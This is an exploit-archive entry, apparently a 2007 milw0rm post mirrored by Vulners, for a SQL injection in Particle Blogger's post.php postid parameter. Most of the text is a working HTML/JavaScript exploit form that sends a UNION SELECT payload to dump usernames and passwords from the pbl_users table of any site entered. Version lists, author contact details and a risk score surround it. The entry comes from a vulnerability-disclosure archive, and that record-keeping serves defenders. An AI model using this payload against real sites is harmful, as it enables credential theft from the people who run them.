Particle Blogger <= 1.2.0 (post.php postid) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Particle Blogger version 1.2.0 post.php postid Remote SQL Injectio


                                                &#60;!--

Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-16}

Product / Vendor :

Particle Soft

http://blogger.particlesoft.net/

Bug :

http://localhost/script/post.php?postid=-SQL Inj-

Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit :

--&#62;

&#60;title&#62;Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit&#60;/title&#62;
&#60;body bgcolor=&#34;#000000&#34;&#62;
&#60;script language=&#34;JavaScript&#34;&#62;
function ps() {
  {
    unique.action=&#34;&#34;+document.unique.site.value+&#34;/post.php?postid=-1/**/UNION/**/SELECT/**/null,username,password,null,null,null,null/**/FROM/**/pbl_users/*&#34;;
    unique.submit();
  }
}
&#60;/script&#62;
&#60;center&#62;&#60;font face=&#34;Verdana&#34; size=&#34;2&#34; color=&#34;#FF0000&#34;&#62;&#60;b&#62;Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit&#60;/b&#62;&#60;/font&#62;&#60;/center&#62;
&#60;form name=&#34;unique&#34; method=&#34;POST&#34; onsubmit=&#34;ps();&#34;&#62;
&#60;center&#62;&#60;font face=&#34;Arial&#34; size=&#34;2&#34; color=&#34;#00FF00&#34;&#62;Site Address :&#60;/td&#62;&#60;/center&#62;&#60;br&#62;
&#60;center&#62;&#60;input type=&#34;text&#34; name=&#34;site&#34; value=&#34;http://localhost/script&#34; size=&#34;44&#34; class=&#34;unique&#34; class=&#34;inputbox&#34;&#62;&#60;/center&#62;&#60;br&#62;
&#60;center&#62;&#60;input type=&#34;submit&#34; value=&#34;Apply&#34; class=&#34;unique&#34;&#62;&#60;/center&#62;&#60;br&#62;
&#60;center&#62;&#60;font face=&#34;Verdana&#34; size=&#34;2&#34; color=&#34;#FF0000&#34;&#62;&#60;b&#62;UniquE-Key{UniquE-Cracker}&#60;/b&#62;&#60;/font&#62;
&#60;br&#62;
&#60;font face=&#34;Verdana&#34; size=&#34;2&#34; color=&#34;#FF0000&#34;&#62;&#60;b&#62;[email protected]&#60;/b&#62;&#60;/font&#62;
&#60;br&#62;
&#60;font face=&#34;Verdana&#34; size=&#34;2&#34; color=&#34;#FF0000&#34;&#62;&#60;b&#62;http://UniquE-Key.ORG&#60;/b&#62;&#60;/font&#62;&#60;/center&#62;

&#60;!--

Tested :

Particle Blogger 1.1.2

Vulnerable :

Particle Blogger 1.2.0

Particle Blogger 1.1.2

Particle Blogger 1.1.1

Particle Blogger 1.1.0

Particle Blogger 1.0.0

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

--&#62;

# milw0rm.com [2007-03-16]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1